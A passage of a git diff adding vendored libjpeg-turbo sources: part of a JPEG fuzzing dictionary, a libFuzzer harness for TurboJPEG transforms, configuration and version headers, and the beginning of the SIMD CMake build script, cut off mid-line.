+huff_std_ac="\x00\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7d" + +# ======================= +# Restart interval values +# ======================= + +ri_0="\x00\x00" +ri_1="\x00\x01" +ri_8="\x00\x08" +ri_16="\x00\x10" +ri_100="\x00\x64" +ri_256="\x01\x00" + +# ================== +# Scan header values +# ================== + +scan_start_0="\x00" +scan_start_1="\x01" +scan_end_0="\x00" +scan_end_63="\x3f" +scan_approx_0="\x00" +scan_approx_10="\x10" +scan_approx_01="\x01" +scan_approx_11="\x11" +scan_approx_21="\x21" + +# =================================== +# Progressive scan approximation bits +# =================================== + +ah_al_00="\x00" +ah_al_10="\x10" +ah_al_20="\x20" +ah_al_01="\x01" +ah_al_11="\x11" +ah_al_21="\x21" +ah_al_12="\x12" + +# ========================= +# Lossless predictor values +# ========================= + +pred_0="\x00" +pred_1="\x01" +pred_2="\x02" +pred_3="\x03" +pred_4="\x04" +pred_5="\x05" +pred_6="\x06" +pred_7="\x07" + +# ============================== +# Common marker segment patterns +# ============================== + +# Minimal DQT segment (64-byte table + header) +dqt_hdr="\xff\xdb\x00\x43\x00" + +# Minimal DHT segment header +dht_hdr="\xff\xc4\x00\x1f\x00" + +# Minimal SOF0 segment header (baseline) +sof0_hdr="\xff\xc0\x00\x0b\x08" + +# Minimal SOS segment header +sos_hdr="\xff\xda\x00\x08\x01" + +# Typical 3-component SOS +sos_3comp="\xff\xda\x00\x0c\x03\x01\x00\x02\x11\x03\x11\x00\x3f\x00" + +# ================ +# Edge case values +# ================ + +zero="\x00" +one="\x01" +max_byte="\xff" +mid="\x80" +val_7f="\x7f" +val_fe="\xfe" + +# Large values (for dimension fuzzing) +large_dim="\xff\xff" +large_len="\xff\xfe" + +# =============================== +# Entropy coding segment patterns +# =============================== + +# Common DC coefficient patterns +dc_zero="\x00" +dc_small="\xf0" + +# EOB (End Of Block) for AC +eob="\x00" + +# ZRL (Zero Run Length) - 16 zeros +zrl="\xf0" + +# =========================== +# JPEG file structure markers +# =========================== + +# SOI + APP0 (JFIF header start) +soi_app0="\xff\xd8\xff\xe0" + +# Minimal JFIF APP0 segment +jfif_app0="\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00" + +# SOI + SOF0 (baseline start) +soi_sof0="\xff\xd8\xff\xc0" + +# SOI + SOF2 (progressive start) +soi_sof2="\xff\xd8\xff\xc2" + +# DQT + SOF sequence +dqt_sof="\xff\xdb\xff\xc0" + +# SOF + DHT sequence +sof_dht="\xff\xc0\xff\xc4" + +# DHT + SOS sequence +dht_sos="\xff\xc4\xff\xda" + +# SOS + EOI (end of scan + End Of Image) +sos_eoi="\xff\xda\xff\xd9" + +# ==================== +# ICC profile patterns +# ==================== + +icc_sig="ICC_PROFILE\x00\x01\x01" +icc_multi_1="ICC_PROFILE\x00\x01\x02" +icc_multi_2="ICC_PROFILE\x00\x02\x02" + +# ========================== +# Arithmetic coding patterns +# ========================== + +arith_cond="\x00\x00" +arith_kx="\x00\x05" + +# ==================================== +# Color transform values (Adobe APP14) +# ==================================== + +adobe_transform_0="\x00" +adobe_transform_1="\x01" +adobe_transform_2="\x02" diff --git a/lib/libjpeg-turbo/fuzz/transform.cc b/lib/libjpeg-turbo/fuzz/transform.cc new file mode 100755 index 0000000..f49efa8 --- /dev/null +++ b/lib/libjpeg-turbo/fuzz/transform.cc @@ -0,0 +1,186 @@ +/* + * Copyright (C) 2011, 2021-2026 D. R. Commander. All Rights Reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * - Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * - Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * - Neither the name of the libjpeg-turbo Project nor the names of its + * contributors may be used to endorse or promote products derived from this + * software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS", + * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#include "../src/turbojpeg.h" +#include +#include +#include + + +static int dummyDCTFilter(short *coeffs, tjregion arrayRegion, + tjregion planeRegion, int componentIndex, + int transformIndex, tjtransform *transform) +{ + int i; + + for (i = 0; i < arrayRegion.w * arrayRegion.h; i++) + coeffs[i] = -coeffs[i]; + return 0; +} + + +extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + tjhandle handle = NULL; + unsigned char *dstBufs[1] = { NULL }; + size_t dstSizes[1] = { 0 }, maxBufSize, i; + int width = 0, height = 0, jpegSubsamp; + tjtransform transforms[1]; + + if ((handle = tj3Init(TJINIT_TRANSFORM)) == NULL) + goto bailout; + + /* We ignore the return value of tj3DecompressHeader(), because malformed + JPEG images that might expose issues in libjpeg-turbo might also have + header errors that cause tj3DecompressHeader() to fail. */ + tj3DecompressHeader(handle, data, size); + width = tj3Get(handle, TJPARAM_JPEGWIDTH); + height = tj3Get(handle, TJPARAM_JPEGHEIGHT); + jpegSubsamp = tj3Get(handle, TJPARAM_SUBSAMP); + /* Let the transform options dictate the entropy coding algorithm. */ + tj3Set(handle, TJPARAM_ARITHMETIC, 0); + tj3Set(handle, TJPARAM_PROGRESSIVE, 0); + tj3Set(handle, TJPARAM_OPTIMIZE, 0); + + /* Ignore 0-pixel images and images larger than 1 Megapixel. Casting width + to (uint64_t) prevents integer overflow if width * height > INT_MAX. */ + if (width < 1 || height < 1 || (uint64_t)width * height > 1048576) + goto bailout; + + tj3Set(handle, TJPARAM_SCANLIMIT, 100); + + if (jpegSubsamp < 0 || jpegSubsamp >= TJ_NUMSAMP) + jpegSubsamp = TJSAMP_444; + + memset(&transforms[0], 0, sizeof(tjtransform)); + + transforms[0].op = TJXOP_NONE; + transforms[0].options = TJXOPT_PROGRESSIVE | TJXOPT_COPYNONE; + dstSizes[0] = maxBufSize = tj3TransformBufSize(handle, &transforms[0]); + if (dstSizes[0] == 0 || + (dstBufs[0] = (unsigned char *)tj3Alloc(dstSizes[0])) == NULL) + goto bailout; + + if (size >= 34) + tj3SetICCProfile(handle, (unsigned char *)&data[2], 32); + + tj3Set(handle, TJPARAM_NOREALLOC, 1); + if (tj3Transform(handle, data, size, 1, dstBufs, dstSizes, + transforms) == 0) { + /* Touch all of the output data in order to catch uninitialized reads when + using MemorySanitizer. */ + size_t sum = 0; + + for (i = 0; i < dstSizes[0]; i++) + sum += dstBufs[0][i]; + + /* Prevent the sum above from being optimized out. This test should never + be true, but the compiler doesn't know that. */ + if (sum > 255 * maxBufSize) + goto bailout; + } else if (!strcmp(tj3GetErrorStr(handle), + "Progressive JPEG image has more than 100 scans")) + goto bailout; + + + tj3Free(dstBufs[0]); + dstBufs[0] = NULL; + + transforms[0].r.w = (height + 1) / 2; + transforms[0].r.h = (width + 1) / 2; + transforms[0].op = TJXOP_TRANSPOSE; + transforms[0].options = TJXOPT_GRAY | TJXOPT_CROP | TJXOPT_COPYNONE | + TJXOPT_OPTIMIZE; + dstSizes[0] = maxBufSize = tj3TransformBufSize(handle, &transforms[0]); + if (dstSizes[0] == 0 || + (dstBufs[0] = (unsigned char *)tj3Alloc(dstSizes[0])) == NULL) + goto bailout; + + if (tj3Transform(handle, data, size, 1, dstBufs, dstSizes, + transforms) == 0) { + size_t sum = 0; + + for (i = 0; i < dstSizes[0]; i++) + sum += dstBufs[0][i]; + + if (sum > 255 * maxBufSize) + goto bailout; + } else if (!strcmp(tj3GetErrorStr(handle), + "Progressive JPEG image has more than 100 scans")) + goto bailout; + + tj3Free(dstBufs[0]); + dstBufs[0] = NULL; + + transforms[0].op = TJXOP_ROT90; + transforms[0].options = TJXOPT_TRIM | TJXOPT_ARITHMETIC; + dstSizes[0] = maxBufSize = tj3TransformBufSize(handle, &transforms[0]); + if (dstSizes[0] == 0 || + (dstBufs[0] = (unsigned char *)tj3Alloc(dstSizes[0])) == NULL) + goto bailout; + + if (tj3Transform(handle, data, size, 1, dstBufs, dstSizes, + transforms) == 0) { + size_t sum = 0; + + for (i = 0; i < dstSizes[0]; i++) + sum += dstBufs[0][i]; + + if (sum > 255 * maxBufSize) + goto bailout; + } else if (!strcmp(tj3GetErrorStr(handle), + "Progressive JPEG image has more than 100 scans")) + goto bailout; + + tj3Free(dstBufs[0]); + dstBufs[0] = NULL; + + transforms[0].op = TJXOP_NONE; + transforms[0].options = TJXOPT_PROGRESSIVE; + transforms[0].customFilter = dummyDCTFilter; + dstSizes[0] = 0; + + tj3Set(handle, TJPARAM_NOREALLOC, 0); + if (tj3Transform(handle, data, size, 1, dstBufs, dstSizes, + transforms) == 0) { + size_t sum = 0; + + for (i = 0; i < dstSizes[0]; i++) + sum += dstBufs[0][i]; + + if (sum > 255 * maxBufSize) + goto bailout; + } else if (!strcmp(tj3GetErrorStr(handle), + "Progressive JPEG image has more than 100 scans")) + goto bailout; + +bailout: + tj3Free(dstBufs[0]); + tj3Destroy(handle); + return 0; +} diff --git a/lib/libjpeg-turbo/jconfig.h b/lib/libjpeg-turbo/jconfig.h new file mode 100755 index 0000000..255be6d --- /dev/null +++ b/lib/libjpeg-turbo/jconfig.h @@ -0,0 +1,60 @@ +/* Version ID for the JPEG library. + * Might be useful for tests like "#if JPEG_LIB_VERSION >= 60". + */ +#define JPEG_LIB_VERSION 62 + +/* libjpeg-turbo version */ +#define LIBJPEG_TURBO_VERSION 3.1.4 + +/* libjpeg-turbo version in integer form */ +#define LIBJPEG_TURBO_VERSION_NUMBER 3001004 + +/* Support arithmetic encoding when using 8-bit samples */ +#define C_ARITH_CODING_SUPPORTED 1 + +/* Support arithmetic decoding when using 8-bit samples */ +#define D_ARITH_CODING_SUPPORTED 1 + +/* Support in-memory source/destination managers */ +#define MEM_SRCDST_SUPPORTED 1 + +/* Use accelerated SIMD routines when using 8-bit samples */ +#define WITH_SIMD 1 + +/* This version of libjpeg-turbo supports run-time selection of data precision, + * so BITS_IN_JSAMPLE is no longer used to specify the data precision at build + * time. However, some downstream software expects the macro to be defined. + * Since 12-bit data precision is an opt-in feature that requires explicitly + * calling 12-bit-specific libjpeg API functions and using 12-bit-specific data + * types, the unmodified portion of the libjpeg API still behaves as if it were + * built for 8-bit precision, and JSAMPLE is still literally an 8-bit data + * type. Thus, it is correct to define BITS_IN_JSAMPLE to 8 here. + */ +#ifndef BITS_IN_JSAMPLE +#define BITS_IN_JSAMPLE 8 +#endif + +#ifdef _WIN32 + +#undef RIGHT_SHIFT_IS_UNSIGNED + +/* Define "boolean" as unsigned char, not int, per Windows custom */ +#ifndef __RPCNDR_H__ /* don't conflict if rpcndr.h already read */ +typedef unsigned char boolean; +#endif +#define HAVE_BOOLEAN /* prevent jmorecfg.h from redefining it */ + +/* Define "INT32" as int, not long, per Windows custom */ +#if !(defined(_BASETSD_H_) || defined(_BASETSD_H)) /* don't conflict if basetsd.h already read */ +typedef short INT16; +typedef signed int INT32; +#endif +#define XMD_H /* prevent jmorecfg.h from redefining it */ + +#else + +/* Define if your (broken) compiler shifts signed values as if they were + unsigned. */ +/* #undef RIGHT_SHIFT_IS_UNSIGNED */ + +#endif diff --git a/lib/libjpeg-turbo/jconfigint.h b/lib/libjpeg-turbo/jconfigint.h new file mode 100755 index 0000000..308e812 --- /dev/null +++ b/lib/libjpeg-turbo/jconfigint.h @@ -0,0 +1,76 @@ +/* libjpeg-turbo build number */ +#define BUILD "20260221" + +/* How to hide global symbols. */ +#define HIDDEN + +/* Compiler's inline keyword */ +#undef inline + +/* How to obtain function inlining. */ +#define INLINE __inline__ __attribute__((always_inline)) + +/* How to obtain thread-local storage */ +#define THREAD_LOCAL __thread + +/* Define to the full name of this package. */ +#define PACKAGE_NAME "libjpeg-turbo" + +/* Version number of package */ +#define VERSION "3.1.4" + +/* The size of `size_t', as computed by sizeof. */ +#define SIZEOF_SIZE_T 8 + +/* Define if your compiler has __builtin_ctzl() and sizeof(unsigned long) == sizeof(size_t). */ +/* #undef HAVE_BUILTIN_CTZL */ + +/* Define to 1 if you have the header file. */ +/* #undef HAVE_INTRIN_H */ + +#if defined(_MSC_VER) && defined(HAVE_INTRIN_H) +#if (SIZEOF_SIZE_T == 8) +#define HAVE_BITSCANFORWARD64 +#elif (SIZEOF_SIZE_T == 4) +#define HAVE_BITSCANFORWARD +#endif +#endif + +#if defined(__has_attribute) +#if __has_attribute(fallthrough) +#define FALLTHROUGH __attribute__((fallthrough)); +#else +#define FALLTHROUGH +#endif +#else +#define FALLTHROUGH +#endif + +/* + * Define BITS_IN_JSAMPLE as either + * 8 for 8-bit sample values (the usual setting) + * 12 for 12-bit sample values + * Only 8 and 12 are legal data precisions for lossy JPEG according to the + * JPEG standard, and the IJG code does not support anything else! + */ + +#ifndef BITS_IN_JSAMPLE +#define BITS_IN_JSAMPLE 8 /* use 8 or 12 */ +#endif + +#undef C_ARITH_CODING_SUPPORTED +#undef D_ARITH_CODING_SUPPORTED +#undef WITH_SIMD + +#if BITS_IN_JSAMPLE == 8 + +/* Support arithmetic encoding */ +#define C_ARITH_CODING_SUPPORTED 1 + +/* Support arithmetic decoding */ +#define D_ARITH_CODING_SUPPORTED 1 + +/* Use accelerated SIMD routines. */ +#define WITH_SIMD 1 + +#endif diff --git a/lib/libjpeg-turbo/jversion.h b/lib/libjpeg-turbo/jversion.h new file mode 100755 index 0000000..db82533 --- /dev/null +++ b/lib/libjpeg-turbo/jversion.h @@ -0,0 +1,56 @@ +/* + * jversion.h + * + * This file was part of the Independent JPEG Group's software: + * Copyright (C) 1991-2020, Thomas G. Lane, Guido Vollbeding. + * libjpeg-turbo Modifications: + * Copyright (C) 2010, 2012-2026, D. R. Commander. + * For conditions of distribution and use, see the accompanying README.ijg + * file. + * + * This file contains software version identification. + */ + + +#if JPEG_LIB_VERSION >= 80 + +#define JVERSION "8d 15-Jan-2012" + +#elif JPEG_LIB_VERSION >= 70 + +#define JVERSION "7 27-Jun-2009" + +#else + +#define JVERSION "6b 27-Mar-1998" + +#endif + +/* + * NOTE: It is our convention to place the authors in the following order: + * - libjpeg-turbo authors (2009-) in descending order of the date of their + * most recent contribution to the project, then in ascending order of the + * date of their first contribution to the project, then in alphabetical + * order + * - Upstream authors in descending order of the date of the first inclusion of + * their code + */ + +#define JCOPYRIGHT1 \ + "Copyright (C) 2009-2026 D. R. Commander\n" \ + "Copyright (C) 2015-2016, 2018, 2022 Matthieu Darbois\n" \ + "Copyright (C) 2019-2021 Arm Limited\n" \ + "Copyright (C) 2015, 2020 Google, Inc.\n" \ + "Copyright (C) 2011, 2014, 2016 Siarhei Siamashka\n" \ + "Copyright (C) 2015 Intel Corporation\n" +#define JCOPYRIGHT2 \ + "Copyright (C) 2013-2014 Linaro Limited\n" \ + "Copyright (C) 2013-2014 MIPS Technologies, Inc.\n" \ + "Copyright (C) 2009, 2012 Pierre Ossman for Cendio AB\n" \ + "Copyright (C) 2009-2011 Nokia Corporation and/or its subsidiary(-ies)\n" \ + "Copyright (C) 1999-2006 MIYASAKA Masaru\n" \ + "Copyright (C) 1999 Ken Murchison\n" \ + "Copyright (C) 1991-2020 Thomas G. Lane, Guido Vollbeding\n" + +#define JCOPYRIGHT_SHORT \ + "Copyright (C) 1991-2026 The libjpeg-turbo Project and many others" diff --git a/lib/libjpeg-turbo/simd/CMakeLists.txt b/lib/libjpeg-turbo/simd/CMakeLists.txt new file mode 100755 index 0000000..5d54759 --- /dev/null +++ b/lib/libjpeg-turbo/simd/CMakeLists.txt @@ -0,0 +1,574 @@ +macro(simd_fail message) + if(REQUIRE_SIMD) + message(FATAL_ERROR "${message}.") + else() + message(WARNING "${message}. Performance will suffer.") + set(WITH_SIMD 0 PARENT_SCOPE) + endif() +endmacro() + + +############################################################################### +# x86[-64] (NASM) +############################################################################### + +if(CPU_TYPE STREQUAL "x86_64" OR CPU_TYPE STREQUAL "i386") + +set(CMAKE_ASM_NASM_FLAGS_DEBUG_INIT "-g") +set(CMAKE_ASM_NASM_FLAGS_RELWITHDEBINFO_INIT "-g") + +# Allow the location of the NASM executable to be specified using the ASM_NASM +# environment variable. This should happen automatically, but unfortunately +# enable_language(ASM_NASM) doesn't parse the ASM_NASM environment variable +# until after CMAKE_ASM_NASM_COMPILER has been populated with the results of +# searching for NASM or Yasm in the PATH. +if(NOT DEFINED CMAKE_ASM_NASM_COMPILER AND DEFINED ENV{ASM_NASM}) + set(CMAKE_ASM_NASM_COMPILER $ENV{ASM_NASM}) +endif() + +if(CPU_TYPE STREQUAL "x86_64") + if(CYGWIN) + set(CMAKE_ASM_NASM_OBJECT_FORMAT win64) + endif() + if(CMAKE_C_COMPILER_ABI MATCHES "ELF X32") + set(CMAKE_ASM_NASM_OBJECT_FORMAT elfx32) + endif() +elseif(CPU_TYPE STREQUAL "i386") + if(BORLAND) + set(CMAKE_ASM_NASM_OBJECT_FORMAT obj) + elseif(CYGWIN) + set(CMAKE_ASM_NASM_OBJECT_FORMAT win32) + endif() +endif() + +if(NOT REQUIRE_SIMD) + include(CheckLanguage) + check_language(ASM_NASM) + if(NOT CMAKE_ASM_NASM_COMPILER) + simd_fail("SIMD extensions disabled: could not find NASM compiler") + return() + endif() +endif() +enable_language(ASM_NASM) +message(STATUS "CMAKE_ASM_NASM_COMPILER = ${CMAKE_ASM_NASM_COMPILER}") + +if(CMAKE_ASM_NASM_OBJECT_FORMAT MATCHES "^macho") + set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DMACHO") +elseif(CMAKE_ASM_NASM_OBJECT_FORMAT MATCHES "^elf") + set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DELF") + set(CMAKE_ASM_NASM_DEBUG_FORMAT "dwarf2") +endif() +if(CPU_TYPE STREQUAL "x86_64") + if(WIN32 OR CYGWIN) + set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DWIN64") + endif() + set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -D__x86_64__") +elseif(CPU_TYPE STREQUAL "i386") + if(BORLAND) + set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DOBJ32") + elseif(WIN32 OR CYGWIN) + set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DWIN32") + endif() +endif() + +message(STATUS "CMAKE_ASM_NASM_OBJECT_FORMAT = ${CMAKE_ASM_NASM_OBJECT_FORMAT}") + +if(NOT CMAKE_ASM_NASM_OBJECT_FORMAT) + simd_fail("SIMD extensions disabled: could not determine NASM object format") + return() +endif() + +get_filename_component(CMAKE_ASM_NASM_COMPILER_TYPE + "${CMAKE_ASM_NASM_COMPILER}" NAME_WE) +if(CMAKE_ASM_NASM_COMPILER_TYPE MATCHES "yasm") + foreach(var CMAKE_ASM_NASM_FLAGS_DEBUG CMAKE_ASM_NASM_FLAGS_RELWITHDEBINFO) + if(${var} STREQUAL "-g") + if(CMAKE_ASM_NASM_DEBUG_FORMAT) + set_property(CACHE ${var} PROPERTY VALUE "-g ${CMAKE_ASM_NASM_DEBUG_FORMAT}") + else() + set_property(CACHE ${var} PROPERTY VALUE "") + endif() + endif() + endforeach() +endif() + +if(NOT WIN32 AND (CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED)) + set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -DPIC") +endif() + +if(CPU_TYPE STREQUAL "x86_64" AND CMAKE_ASM_NASM_OBJECT_FORMAT MATCHES "^elf") + check_c_source_compiles(" + #if (__CET__ & 3) == 0 + #error \"CET not enabled\" + #endif + int main(void) { return 0; }" HAVE_CET) + + if(HAVE_CET) + set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -D__CET__") + endif() +endif() + +string(TOUPPER ${CMAKE_BUILD_TYPE} CMAKE_BUILD_TYPE_UC) +set(EFFECTIVE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} ${CMAKE_ASM_NASM_FLAGS_${CMAKE_BUILD_TYPE_UC}}") +message(STATUS "CMAKE_ASM_NASM_FLAGS = ${EFFECTIVE_ASM_NASM_FLAGS}") + +set(CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS} -I\"${CMAKE_CURRENT_SOURCE_DIR}/nasm/\" -I\"${CMAKE_CURRENT_SOURCE_DIR}/${CPU_TYPE}/\"") + +set(GREP grep) +if(CMAKE_SYSTEM_NAME STREQUAL "SunOS") + set(GREP ggrep) +endif() +add_custom_target(jsimdcfg COMMAND + ${CMAKE_C_COMPILER} -E -I${CMAKE_BINARY_DIR} -I${CMAKE_CURRENT_BINARY_DIR} + -I${CMAKE_CURRENT_SOURCE_DIR} + ${CMAKE_CURRENT_SOURCE_DIR}/nasm/jsimdcfg.inc.h | + ${GREP} -E '^[\;%]|^\ %' | sed 's%_cpp_protection_%%' | + sed 's@% define@%define@g' >${CMAKE_CURRENT_SOURCE_DIR}/nasm/jsimdcfg.inc) + +if(CPU_TYPE STREQUAL "x86_64") + set(SIMD_SOURCES x86_64/jsimdcpu.asm x86_64/jfdctflt-sse.asm + x86_64/jccolor-sse2.asm x86_64/jcgray-sse2.asm x86_64/jchuff-sse2.asm + x86_64/jcphuff-sse2.asm x86_64/jcsample-sse2.asm x86_64/jdcolor-sse2.asm + x86_64/jdmerge-sse2.asm x86_64/jdsample-sse2.asm x86_64/jfdctfst-sse2.asm + x86_64/jfdctint-sse2.asm x86_64/jidctflt-sse2.asm x86_64/jidctfst-sse2.asm + x86_64/jidctint-sse2.asm x86_64/jidctred-sse2.asm x86_64/jquantf-sse2.asm + x86_64/jquanti-sse2.asm + x86_64/jccolor-avx2.asm x86_64/jcgray-avx2.asm x86_64/jcsample-avx2.asm + x86_64/jdcolor-avx2.asm x86_64/jdmerge-avx2.asm x86_64/jdsample-avx2.asm + x86_64/jfdctint-avx2.asm x86_64/jidctint-avx2.asm x86_64/jquanti-avx2.asm) +else() + set(SIMD_SOURCES i386/jsimdcpu.asm i386/jfdctflt-3dn.asm + i386/jidctflt-3dn.asm i386/jquant-3dn.asm + i386/jccolor-mmx.asm i386/jcgray-mmx.asm i386/jcsample-mmx.asm + i386/jdcolor-mmx.asm i386/jdmerge-mmx.asm i386/jdsample-mmx.asm + i386/jfdctfst-mmx.asm i386/jfdctint-mmx.asm i386/jidctfst-mmx.asm + i386/jidctint-mmx.asm i386/jidctred-mmx.asm i386/jquant-mmx.asm + i386/jfdctflt-sse.asm i386/jidctflt-sse.asm i386/jquant-sse.asm + i386/jccolor-sse2.asm i386/jcgray-sse2.asm i386/jchuff-sse2.asm + i386/jcphuff-sse2.asm i386/jcsample-sse2.asm i386/jdcolor-sse2.asm + i386/jdmerge-sse2.asm i386/jdsample-sse2.asm i386/jfdctfst-sse2.asm + i386/jfdctint-sse2.asm i386/jidctflt-sse2.asm i386/jidctfst-sse2.asm + i386/jidctint-sse2.asm i386/jidctred-sse2.asm i386/jquantf-sse2.asm + i386/jquanti-sse2.asm + i386/jccolor-avx2.asm i386/jcgray-avx2.asm i386/jcsample-avx2.asm + i386/jdcolor-avx2.asm i386/jdmerge-avx2.asm i386/jdsample-avx2.asm + i386/jfdctint-avx2.asm i386/jidctint-avx2.asm i386/jquanti-avx2.asm) +endif() + +if(MSVC_IDE) + set(OBJDIR "${CMAKE_CURRENT_BINARY_DIR}/${CMAKE_CFG_INTDIR}") + string(REGEX REPLACE " " ";" CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS}") +elseif(XCODE) + set(OBJDIR "${CMAKE_CURRENT_BINARY_DIR}") + string(REGEX REPLACE " " ";" CMAKE_ASM_NASM_FLAGS "${CMAKE_ASM_NASM_FLAGS}") +endif() + +file(GLOB INC_FILES nasm/*.inc) + +foreach(file ${SIMD_SOURCES}) + set(OBJECT_DEPENDS "") + if(${file} MATCHES jccolor) + string(REGEX REPLACE "jccolor" "jccolext" DEPFILE ${file}) + set(OBJECT_DEPENDS ${OBJECT_DEPENDS} + ${CMAKE_CURRENT_SOURCE_DIR}/${DEPFILE}) + endif() + if(${file} MATCHES jcgray) + string(REGEX REPLACE "jcgray" "jcgryext" DEPFILE ${file}) + set(OBJECT_DEPENDS ${OBJECT_DEPENDS} + ${CMAKE_CURRENT_SOURCE_DIR}/${DEPFILE}) + endif() + if(${file} MATCHES jdcolor) + string(REGEX REPLACE "jdcolor" "jdcolext" DEPFILE ${file}) + set(OBJECT_DEPENDS ${OBJECT_DEPENDS} + ${CMAKE_CURRENT_SOURCE_DIR}/${DEPFILE}) + endif() + if(${file} MATCHES jdmerge) + string(REGEX REPLACE "jdmerge" "jdmrgext" DEPFILE ${file}) + set(OBJECT_DEPENDS ${OBJECT_DEPENDS} + ${CMAKE_CURRENT_SOURCE_DIR}/${DEPFILE}) + endif() + set(OBJECT_DEPENDS ${OBJECT_DEPENDS} ${INC_FILES}) + if(MSVC_IDE OR XCODE) + # The CMake Visual Studio generators do not work properly with the ASM_NASM + # language, so we have to go rogue here and use a custom command like we + # did in prior versions of libjpeg-turbo. (This is why we can't have nice + # things.) + string(REGEX REPLACE "${CPU_TYPE}/" "" filename ${file}) + set(SIMD_OBJ ${OBJDIR}/${filename}${CMAKE_C_OUTPUT_EXTENSION}) + add_custom_command(OUTPUT ${SIMD_OBJ} DEPENDS ${file} ${OBJECT_DEPENDS} + COMMAND ${CMAKE_ASM_NASM_COMPILER} -f${CMAKE_ASM_NASM_OBJECT_FORMAT} + ${CMAKE_ASM_NASM_FLAGS} ${CMAKE_CURRENT_SOURCE_DIR}/${file} + -o${SIMD_OBJ}) + set(SIMD_OBJS ${SIMD_OBJS} ${SIMD_OBJ}) + else() + set_source_files_properties(${file} PROPERTIES OBJECT_DEPENDS + "${OBJECT_DEPENDS}") + endif() +endforeach() + +if(MSVC_IDE OR XCODE) + set(SIMD_OBJS ${SIMD_OBJS} PARENT_SCOPE) + add_library(simd OBJECT ${CPU_TYPE}/jsimd.c) + add_custom_target(simd-objs DEPENDS ${SIMD_OBJS}) + add_dependencies(simd simd-objs) +else() + add_library(simd OBJECT ${SIMD_SOURCES} ${CPU_TYPE}/jsimd.c) +endif() +if(NOT WIN32 AND (CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED)) + set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1) +endif() + + +############################################################################### +# Arm (Intrinsics or GAS) +############################################################################### + +elseif(CPU_TYPE STREQUAL "arm64" OR CPU_TYPE STREQUAL "arm") + +# If Neon instructions are not explicitly enabled at compile time (e.g. using +# -mfpu=neon) with an AArch32 Linux or Android build, then the AArch32 SIMD +# dispatcher will parse /proc/cpuinfo to determine whether the Neon SIMD +# extensions can be enabled at run time. In order to support all AArch32 CPUs +# using the same code base, i.e. to support run-time FPU and Neon +# auto-detection, it is necessary to compile the scalar C source code using +# -mfloat-abi=soft (which is usually the default) but compile the intrinsics +# implementation of the Neon SIMD extensions using -mfloat-abi=softfp. The +# following test determines whether -mfloat-abi=softfp should be explicitly +# added to the compile flags for the intrinsics implementation of the Neon SIMD +# extensions. +if(BITS EQUAL 32) + check_c_source_compiles(" + #if defined(__ARM_NEON__) || (!defined(__linux__) && !defined(ANDROID) && !defined(__ANDROID__)) + #error \"Neon run-time auto-detection will not be used\" + #endif + #if __ARM_PCS_VFP == 1 + #error \"float ABI = hard\" + #endif + #if __SOFTFP__ != 1 + #error \"float ABI = softfp\" + #endif + int main(void) { return 0; }" NEED_SOFTFP_FOR_INTRINSICS) + if(NEED_SOFTFP_FOR_INTRINSICS) + set(SOFTFP_FLAG -mfloat-abi=softfp) + endif() +endif() + +if(BITS EQUAL 32) + set(CMAKE_REQUIRED_FLAGS "-mfpu=neon ${SOFTFP_FLAG}") + check_c_source_compiles(" + #include + int main(int argc, char **argv) { + uint16x8_t input = vdupq_n_u16((uint16_t)argc); + uint8x8_t output = vmovn_u16(input); + return (int)output[0]; + }" HAVE_NEON) + if(NOT HAVE_NEON) + simd_fail("SIMD extensions not available for this architecture") + return() + endif() +endif() +check_c_source_compiles(" + #include + int main(int argc, char **argv) { + int16_t input[12]; + int16x4x3_t output; + int i; + for (i = 0; i < 12; i++) input[i] = (int16_t)argc; + output = vld1_s16_x3(input); + vst3_s16(input, output); + return (int)input[0]; + }" HAVE_VLD1_S16_X3) +check_c_source_compiles(" + #include + int main(int argc, char **argv) { + uint16_t input[8]; + uint16x4x2_t output; + int i; + for (i = 0; i < 8; i++) input[i] = (uint16_t)argc; + output = vld1_u16_x2(input); + vst2_u16(input, output); + return (int)input[0]; + }" HAVE_VLD1_U16_X2) +check_c_source_compiles(" + #include + int main(int argc, char **argv) { + uint8_t input[64]; + uint8x16x4_t output; + int i; + for (i = 